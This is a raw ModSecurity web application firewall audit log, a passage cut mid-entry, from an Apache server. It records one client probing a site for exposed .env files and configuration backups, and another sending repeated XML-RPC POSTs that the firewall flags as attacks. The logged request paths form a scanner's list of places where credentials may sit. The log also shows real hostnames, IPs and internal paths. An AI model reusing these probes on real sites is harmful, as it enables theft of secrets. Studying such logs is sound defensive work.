expires=Mon, 16 Jun 2025 01:18:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1595b73d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/konfig/.env"] [unique_id "aE9i4tNEcm-DhAkC0iba3wAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033122179930 673789 (- - -) Stopwatch2: 1750033122179930 673789; combined=1741, p1=405, p2=1230, p3=0, p4=0, p5=106, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1595b73d-Z-- --36bc7d66-A-- [16/Jun/2025:05:48:55.187134 +0530] aE9i7vthHqQhfrOWofuNLgAAAAA 185.177.72.210 53928 127.0.0.1 7081 --36bc7d66-B-- GET /:8443/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36bc7d66-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=95f00d506a8e4e2d955a9905054361fa1750033135; expires=Mon, 16 Jun 2025 01:18:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36bc7d66-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env_hidden"] [unique_id "aE9i7vthHqQhfrOWofuNLgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033134510173 677026 (- - -) Stopwatch2: 1750033134510173 677026; combined=1888, p1=378, p2=1415, p3=0, p4=0, p5=94, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36bc7d66-Z-- --61a3a35a-A-- [16/Jun/2025:05:49:00.741293 +0530] aE9i9A9THibLN0xLxETuvgAAAAk 185.177.72.210 34064 127.0.0.1 7081 --61a3a35a-B-- GET /:9000/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61a3a35a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=34dcd9053aaf83e17b124206ef7c3e6b1750033140; expires=Mon, 16 Jun 2025 01:19:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61a3a35a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.local.example"] [unique_id "aE9i9A9THibLN0xLxETuvgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033140044937 696421 (- - -) Stopwatch2: 1750033140044937 696421; combined=1868, p1=484, p2=1275, p3=0, p4=0, p5=109, sr=120, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61a3a35a-Z-- --e0cc8f5b-A-- [16/Jun/2025:05:49:01.807835 +0530] aE9i9fthHqQhfrOWofuNMQAAAAA 185.177.72.210 34132 127.0.0.1 7081 --e0cc8f5b-B-- GET /31_structure_tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0cc8f5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6f89bc3b396133ea26c332487eb623ba1750033141; expires=Mon, 16 Jun 2025 01:19:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0cc8f5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/31_structure_tests/.env"] [unique_id "aE9i9fthHqQhfrOWofuNMQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033141071626 736272 (- - -) Stopwatch2: 1750033141071626 736272; combined=1785, p1=405, p2=1282, p3=0, p4=0, p5=97, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0cc8f5b-Z-- --fe8b3e32-A-- [16/Jun/2025:05:49:05.877644 +0530] aE9i-fbo0R64L12N_alTZwAAAAQ 185.177.72.210 34280 127.0.0.1 7081 --fe8b3e32-B-- GET /admin/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fe8b3e32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7defee243a07c4bee8859fa5dcd748e61750033145; expires=Mon, 16 Jun 2025 01:19:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fe8b3e32-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/config.php.bak"] [unique_id "aE9i-fbo0R64L12N_alTZwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033145216685 661023 (- - -) Stopwatch2: 1750033145216685 661023; combined=2415, p1=403, p2=1910, p3=0, p4=0, p5=102, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe8b3e32-Z-- --f5cd1e1a-A-- [16/Jun/2025:05:49:10.148888 +0530] aE9i_S2Tu2VxEl4lA7Db5gAAAAw 185.177.72.210 39322 127.0.0.1 7081 --f5cd1e1a-B-- GET /:8443/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f5cd1e1a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a9282fad7503bec16ca72cb6b4c5d6b81750033149; expires=Mon, 16 Jun 2025 01:19:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f5cd1e1a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/en/.env"] [unique_id "aE9i_S2Tu2VxEl4lA7Db5gAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033149468546 680420 (- - -) Stopwatch2: 1750033149468546 680420; combined=2022, p1=407, p2=1512, p3=0, p4=0, p5=102, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5cd1e1a-Z-- --7cda1d08-A-- [16/Jun/2025:05:49:15.784376 +0530] aE9jAw9THibLN0xLxETuyQAAAAk 185.177.72.210 39674 127.0.0.1 7081 --7cda1d08-B-- GET /:8008/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7cda1d08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d51ef61d9e0d02c3fdf733ad6890ac1e1750033155; expires=Mon, 16 Jun 2025 01:19:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7cda1d08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/administrateur/.env.production"] [unique_id "aE9jAw9THibLN0xLxETuyQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033155113321 671151 (- - -) Stopwatch2: 1750033155113321 671151; combined=1828, p1=378, p2=1349, p3=0, p4=0, p5=101, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7cda1d08-Z-- --64a8176a-A-- [16/Jun/2025:05:49:16.968259 +0530] aE9jA2dsfGMJ57RfqQ_EigAAAA0 128.199.112.101 39798 127.0.0.1 7081 --64a8176a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --64a8176a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --64a8176a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9jA2dsfGMJ57RfqQ_EigAAAA0"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033155952420 1015895 (- - -) Stopwatch2: 1750033155952420 1015895; combined=2355, p1=348, p2=1570, p3=48, p4=67, p5=196, sr=93, sw=126, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64a8176a-Z-- --ccdbf87c-A-- [16/Jun/2025:05:50:16.259230 +0530] aE9jP9NEcm-DhAkC0ibbEQAAAAY 185.177.72.210 41392 127.0.0.1 7081 --ccdbf87c-B-- GET /:8000/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ccdbf87c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6d8c87366f01f6320505942069ea0911750033216; expires=Mon, 16 Jun 2025 01:20:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ccdbf87c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/configurationtion/.env"] [unique_id "aE9jP9NEcm-DhAkC0ibbEQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033215551835 707492 (- - -) Stopwatch2: 1750033215551835 707492; combined=2065, p1=391, p2=1540, p3=0, p4=0, p5=133, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ccdbf87c-Z-- --512fee36-A-- [16/Jun/2025:05:50:16.593161 +0530] aE9jP9VsbyFDndheOrkzxAAAAAE 128.199.112.101 41414 127.0.0.1 7081 --512fee36-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --512fee36-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --512fee36-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9jP9VsbyFDndheOrkzxAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033215617012 976204 (- - -) Stopwatch2: 1750033215617012 976204; combined=2364, p1=407, p2=1630, p3=36, p4=54, p5=150, sr=126, sw=87, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --512fee36-Z-- --3e69f92a-A-- [16/Jun/2025:05:50:20.996802 +0530] aE9jRPbo0R64L12N_alTkQAAAAQ 185.177.72.210 48914 127.0.0.1 7081 --3e69f92a-B-- GET /:5601/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e69f92a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=58a1cec25e8800a9b781e892f13db6221750033220; expires=Mon, 16 Jun 2025 01:20:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e69f92a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.debug"] [unique_id "aE9jRPbo0R64L12N_alTkQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033220317954 678944 (- - -) Stopwatch2: 1750033220317954 678944; combined=2202, p1=493, p2=1586, p3=0, p4=0, p5=122, sr=133, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e69f92a-Z-- --3163bb72-A-- [16/Jun/2025:05:50:23.702132 +0530] aE9jR_thHqQhfrOWofuNYAAAAAA 185.177.72.210 49056 127.0.0.1 7081 --3163bb72-B-- GET /tiedostot/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3163bb72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f8c5f252d409cd6141a03897115d17211750033223; expires=Mon, 16 Jun 2025 01:20:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3163bb72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tiedostot/.env"] [unique_id "aE9jR_thHqQhfrOWofuNYAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033223014816 687411 (- - -) Stopwatch2: 1750033223014816 687411; combined=1758, p1=361, p2=1267, p3=0, p4=0, p5=129, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3163bb72-Z-- --e8422501-A-- [16/Jun/2025:05:50:27.681173 +0530] aE9jSy2Tu2VxEl4lA7DcEAAAAAw 185.177.72.210 49196 127.0.0.1 7081 --e8422501-B-- GET /application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8422501-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82ba197d5600fa212db4888ecdaf897d1750033227; expires=Mon, 16 Jun 2025 01:20:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8422501-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/application/.env"] [unique_id "aE9jSy2Tu2VxEl4lA7DcEAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033227029454 651782 (- - -) Stopwatch2: 1750033227029454 651782; combined=2152, p1=426, p2=1638, p3=0, p4=0, p5=88, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8422501-Z-- --1ab8272b-A-- [16/Jun/2025:05:50:29.712862 +0530] aE9jTPbo0R64L12N_alTlQAAAAQ 185.177.72.210 49294 127.0.0.1 7081 --1ab8272b-B-- GET /config.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ab8272b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7aa6ff3301f04fb07a9b19b842e87f461750033229; expires=Mon, 16 Jun 2025 01:20:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ab8272b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.backup"] [unique_id "aE9jTPbo0R64L12N_alTlQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 